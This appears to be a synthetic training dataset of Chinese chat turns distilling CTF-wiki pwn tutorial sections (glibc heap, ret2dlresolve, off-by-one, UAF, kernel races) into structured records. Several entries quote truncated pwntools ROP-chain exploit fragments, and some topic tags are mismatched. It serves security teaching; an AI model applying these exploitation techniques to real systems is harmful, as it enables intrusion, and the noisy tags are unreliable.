路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“_MMPFN：物理页框”展开。
- 文件: https://s2.loli.net/2023/12/29/JqmC3DZRiVpMPbB.png]
- > > 在进程退出时，所有的页面都会进入 freepagelist 链表中。
- [图片文件: https://s2.loli.net/2025/02/01/F31JSlV7XCruWyT.png] 页面在不同链表间循环的总览图如下： [图片文件: https://s2.loli.net/2025/02/01/p2amPDjBd34IZYk.png] 在 _MMPFN 结构体当中同样用了大量的 union，当页面在不同链表间循环时， _MMPFN 不同偏移的字段有着不同含义： [图片: image.png;

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_MMPFN：物理页框

基础知识 内存管理 一、物理内存管理 _MMPFN：物理页框

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「chunk相关宏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t > chunk相关宏
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“chunk相关宏”展开。
- 具体流程如下 1. 首先，利用 REQUEST_OUT_OF_RANGE 判断是否可以分配用户请求的字节大小的 chunk。
- 最小申请的堆内存大小 用户最小申请的内存大小必须是 2 SIZE_SZ 的最小整数倍。
- ` 当一个 chunk 处于已分配状态时，它的物理相邻的下一个 chunk 的 prev_size 字段必然是无效的，故而这个字段就可以被当前这个 chunk 使用。
- 2. 其次，需要注意的是用户请求的字节是用来存储数据的，即 chunk header 后面的部分。
- 与此同时，由于chunk 间复用，所以可以使用下一个 chunk 的 prev_size 字段。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 3 行，首行 `/* conversion from malloc headers to user pointers, and back */`
- c++: 2 行，首行 `/* The smallest possible chunk */`
- c++: 5 行，首行 `/* The smallest size we can malloc is an aligned minimal chunk */`
- c++: 6 行，首行 `/* Check if m has acceptable alignment */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

chunk相关宏

堆 AI安全 漏洞利用 pwn linux user-mode heap code:c++

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「NO RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237 > 64 位例子 > NO RELRO
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“NO RELRO”展开。
- 由于可以溢出的缓冲区太少，所以我们可以考虑进行栈迁移后，然后进行漏洞利用。
- 这会使得我们的 ROP 链变得更长 ```python from pwn import *
- 栈中的数据为 1. 修改 .dynamic 节中字符串表的地址为伪造的地址 2. 在伪造的地址处构造好字符串表，将 read 字符串替换为 system 字符串。
- 4. 调用 read 函数的 plt 的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而触发执行 system 函数。
- 由于程序中没有直接设置 rdx 的 gadget，所以我们这里就选择了万能 gadget。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

NO RELRO

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「heap_info」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t > 宏观结构 > heap_info
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 主线程可以通过 sbrk() 函数扩展 program break location 获得（直到触及Memory Mapping Segment），只有一个heap，没有 heap_info 数据结构。
- 当其申请内存时，就需要一个结构来记录对应的信息，而heap_info 的作用就是这个。
- 此外，一般申请的heap 是不连续的，因此需要记录不同heap之间的链接结构。
- heap_info 的主要结构如下 ```c++ #define HEAP_MIN_SIZE (32 * 1024) #ifndef HEAP_MAX_SIZE
- 程序刚开始执行时，每个线程是没有 heap 区域的。
- 而且当该heap的资源被使用完后，就必须得再次申请内存了。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

heap_info

define INTERNAL_SIZE_T size_t
宏观结构
heap_info

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack retaddr > 例子 > 确定保护
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定保护”展开。
- ``shell ➜ 三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) `` 可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。

关键术语：
- 栈
- pwn
- linux
- user-mode
- fmtstr
- code:shell

代码/命令片段线索：
- shell: 6 行，首行 `➜ 三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定保护

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`
标题：用 userfaultfd 创造条件竞争
章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > 分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析”展开。
- 而两个取读锁的操作实际上都有写操作，但是他们又是可以并发的，这样就很可能存在条件竞争的漏洞。
- 虽然 add 操作限制了 size 最大为 0x60，但是通过 edit 可以 krealloc 出任意大小的 slab UAF 任意大小的 slab。
- 首先先说一下读写锁，其性质为： 当写锁被取走时，所有取锁操作被阻塞 当读锁被取走时，取写锁的操作被阻塞 恰当的使用读写锁可以在提高程序性能的前提下保证线程同步。
- 同时并没有及时更新 note 指针，反而在更新前加入了 copy_from_user 的操作，那么就可以考虑通过 userfaultfd 操作卡死当前线程，避免 note 的更新，这样就可以保留一个被 kfree 的 slab 的指针。
- [图片文件: ./figure/notebook-add-op.png] 不过在 add 操作时，也类似的在更新 size 前加入了 copy_from_user 的操作，我们也可以把线程卡死在这里，把 size 改为 0x60。

关键术语：
- UAF
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:shell

代码/命令片段线索：
- shell: 10 行，首行 `#!/bin/sh`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

用 userfaultfd 创造条件竞争
例题：QWB2021-notebook
分析

UAF 漏洞利用 pwn linux kernel-mode exploitation code:shell

用 userfaultfd 创造条件竞争


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「49」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：49
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“49”展开。
- 其中 fd 将指向 &chunk_B - 0x18并且破坏了 largebin 的 fd，之后我们会修复这个 fd 并使之指向 fake chunk。
- chunk E 存在的意义是抬高堆地址，使之后 leak 堆地址的时候可以全部输出。
- 在 chunk E 和 chunk C 中夹了一些 chunk，这些 chunk 会被 overlapping，便于之后继续利用了，建议多夹一些，免得后来发现不够用。
- fake chunk 的 size 已经被修改好，我们不希望在修复 large bin 的 fd 的同时把这个 size 破坏掉，所以必须把 chunk A free 到 fastbin 中。
- 也需要把 chunk B 和 chunk C free 掉，并且希望 chunk B 的 fd 指针指向一个堆地址，部分覆写后就可以使之指向 fake_chunk 了。

关键术语：
- 堆
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `由于我们部分覆写的时候会被附加一个 `\x00`，所以需要调整堆地址，为了调试方便，我选择这样调整，具体原因马上说`
- plain: 2 行，首行 `然后进行堆布局`
- plain: 2 行，首行 `由于之前进行的堆地址调整，在我的 gdb 中，该 large bin 的低地址的低 16 位就都是 0 了（这也就是之前堆地址调整时那样调整的原因。当然这只是在调试的情况下，实际打的时候只有低 12 位能保证为零，需要爆破 4 位，概...`
- plain: 8 行，首行 `[图片文件: ./figure/heap-setup.png]`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

49

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md` 中的章节「分析 && 利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/qemu-monitor.md`
标题：利用 QEMU Monitor 读取 flag
章节：利用 QEMU Monitor 读取 flag > 例题： 西湖论剑2021线上初赛 - easykernel > 分析 && 利用
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析 && 利用”展开。
- 首先查看启动脚本，可以发现没有禁止 QEMU monitor： ``bash #!

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:bash
- code:python

代码/命令片段线索：
- bash: 9 行，首行 `#!/bin/sh`
- python: 36 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析 && 利用

利用 QEMU Monitor 读取 flag
例题： 西湖论剑2021线上初赛 - easykernel
分析 && 利用

AI安全 漏洞利用 pwn linux kernel-mode exploitation code:bash code:python

利用 QEMU Monitor 读取 flag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「read /bin/sh\x00」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：read /bin/sh\x00
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“read /bin/sh\x00”展开。
- rop.raw(0) rop.raw(0) rop.raw(0x0000000000400773) rop.raw(0x600B30+0x100+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) rop.raw('a'(256-len(rop.chain()))) print(rop.dump()) print(len(rop.chain())) io.send(rop.chain()...
- rop = ROP("./main_no_relro_64") rop.raw(offset'a') rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100+len(dynstr),len("/bin/sh\x00"))) rop.raw(0x400607) rop.raw("a"(256-len(rop.chain()))) io.send(rop.chain()) io.send("/bin/sh\x00") rop = ROP("./main_no_relr...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

read /bin/sh\x00

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「II、Class - 类的静态内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > QEMU Object Model > II、Class - 类的静态内容
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“II、Class - 类的静态内容”展开。
- ` 下面是一个最简单的示例： `c struct A3Class { /< private >/ ObjectClass parent;
- 当我们通过一个 TypeInfo 结构体定义了一个类之后，我们还需要定义一个 Class 结构体来定义这个类的静态内容，包括函数表、静态成员等，其应当继承于对应的 Class 结构体类型，例如我们若是要定义一个新的机器类，则其 Class 应当继承于 MachineClass。
- 所有 Class 结构体类型的最终的父类都是 ObjectClass 结构体： ``c /* ObjectClass: 所有类的基类. #ObjectClass 仅包含一个整型类型 handler / struct ObjectClass { /< private >/ Type type;
- const char object_cast_cache[OBJECT_CLASS_CAST_CACHE];
- const char class_cast_cache[OBJECT_CLASS_CAST_CACHE];

关键术语：
- ROP/JOP
- pwn
- virtualization
- qemu
- environment
- code:c

代码/命令片段线索：
- c: 15 行，首行 `/**`
- c: 5 行，首行 `struct A3Class`
- c: 15 行，首行 `static void a3_class_init(ObjectClass *oc, void *data)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

II、Class - 类的静态内容

编写 QEMU 模拟设备
QEMU Object Model
II、Class - 类的静态内容

ROP/JOP pwn virtualization qemu environment code:c

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location”展开。
- rop = ROP("./main_partial_relro_64") offset = 112+8 rop.raw(offset'\x00') libc = ELF('libc.so.6') link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read']) rop.raw(csu(0, 1, elf....

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake write relocation entry」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake write relocation entry
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake write relocation entry”展开。
- rop.raw(write_got) rop.raw(r_info) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() `` 这次我们在 base_stage+24 处伪造了一个 write 的重定位项，仍然输出了对应的字符串。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `这次我们在 base_stage+24 处伪造了一个 write 的重定位项，仍然输出了对应的字符串。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake write relocation entry

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「上层：执行体 （Executive）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 二、内核态部分 > 上层：执行体 （Executive）
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“上层：执行体 （Executive）”展开。
- 执行体（Executive）是 NT kernel 的核心部分， 本质上就是传统的操作系统内核本体，比较核心的一些子系统如下： - 对象管理器（Object Manager）：对象管理器是 执行体的底层部分 ，在内核中 所有的资源都是一个对象 （object），对象管理器便负责管理所有的内核对象。
- 输入输出管理器（I/O Manager）：负责接收用户态程序的 I/O 请求（如访问磁盘），将其转换为对相关设备的调用。
- 安全引用监视器（Security Reference Monitor）：Windows 使用访问控制列表（Access Control List）来确定对象的安全性，该子系统便负责实行安全规则。
- 虚拟内存管理器（Virtual Memory Manager）：负责从内核层面进行整个操作系统的内存管理。
- 进程管理器（Process Manager）：负责进程与线程的创建与销毁， _不负责直接调度_。

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

上层：执行体 （Executive）

基础知识
二、内核态部分
上层：执行体 （Executive）

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「通用 kmalloc flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`
标题：简介
章节：简介 > 通用 kmalloc flag
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“通用 kmalloc flag”展开。
- 在对内核镜像或模块进行二进制逆向分析时，我们通常仅能看到 flag 为一个常量值，因此我们需要手动分析启动了那些 bit。
- 此外，当使用了 __GFP_ZERO 这一 flag 时，分配的内核对象会在返回给使用者之前进行数据清零的工作，即等价于 kzalloc()。
- 以下是常见的分配 flag 对应的值： - GFP_KERNEL：0xCC0 - GFP_KERNEL | __GFP_ZERO： 0xDC0 - GFP_KERNEL_ACCOUNT：0x400CC0 - GFP_KERNEL_ACCOUNT | __GFP_ZERO`： 0x400DC0
- 若未开启 CONFIG_MEMCG_KMEM ，则 GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 等价。
- 我们主要关注当这种机制启用时内核对象分配所发生的变化： - 常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx 。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 3 行，首行 `static __always_inline __alloc_size(1) void *kmalloc_noprof(size_t size, gfp_t flags)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

通用 kmalloc flag

堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「示例 1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > off-by-one 利用思路 > 示例 1
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“示例 1”展开。
- } ` 我们自己编写的 my_gets 函数导致了一个 off-by-one 漏洞，原因是 for 循环的边界没有控制好导致写入多执行了一次，这也被称为栅栏错误 > wikipedia: > 栅栏错误（有时也称为电线杆错误或者灯柱错误）是差一错误的一种。
- } int main() { void chunk1,chunk2;
- 如以下问题： > > 建造一条直栅栏（即不围圈），长 30 米、每条栅栏柱间相隔 3 米，需要多少条栅栏柱？
- `` int my_gets(char ptr,int size) { int i;
- i++) { ptr[i]=getchar();

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 18 行，首行 `int my_gets(char *ptr,int size)`
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例 1

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`
标题：Use After Free
章节：-- coding: utf-8 --
路径分类：pwn / pwn/linux/user-mode
分块：2/3

核心知识点：
- 本节主题围绕“-- coding: utf-8 --”展开。
- `asm gef➤ grep aaaa [+] Searching 'aaaa' in memory [+] In '[heap]'(0x804b000-0x806c000), permission=rw- 0x804b018 - 0x804b01c → "aaaa" gef➤ grep ddaa [+] Searching 'ddaa' in memory [+] In '[heap]'(0x804b000-0x806c000), permission=rw- 0x804b050 - 0x804b054 →...
- 同时，我们还可以看到note0与note1对应的content确实是相应的内存块。

关键术语：
- UAF
- 边界/溢出
- 堆
- 栈
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `**申请note 0的content的地址为0x0804b018**`
- plain: 2 行，首行 `类似的，我们可以得到note1的地址以及其content的地址分别为0x0804b040 和0x0804b050。`
- plain: 1 行，首行 `下面就是free的过程了。我们可以依次发现首先，note0的content被free`
- plain: 1 行，首行 `然后是note0本身`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

-- coding: utf-8 --

UAF 边界/溢出 堆 栈 AI安全 pwn linux user-mode heap

Use After Free


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 基本介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本介绍”展开。
- BROP(Blind ROP)于2014年由Standford的Andrea Bittau提出，其相关研究成果发表在Oakland 2014，其论文题目是Hacking Blind，下面是作者对应的paper和slides,以及作者相应的介绍 - paper - slide BROP是没有对应应用程序的源代码或者二进制文件下，对程序进行攻击，劫持程序的执行流。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本介绍

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake stack
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake stack”展开。
- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) rop.raw('a'*(stack_size-len(rop.chain()))) io.send(rop.chain())

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake stack

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「漏洞利用：ldt\_struct 直接读取 initramfs 内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`
标题：在内存中直接搜索 flag
章节：在内存中直接搜索 flag > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用：ldt\_struct 直接读取 initramfs 内容
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
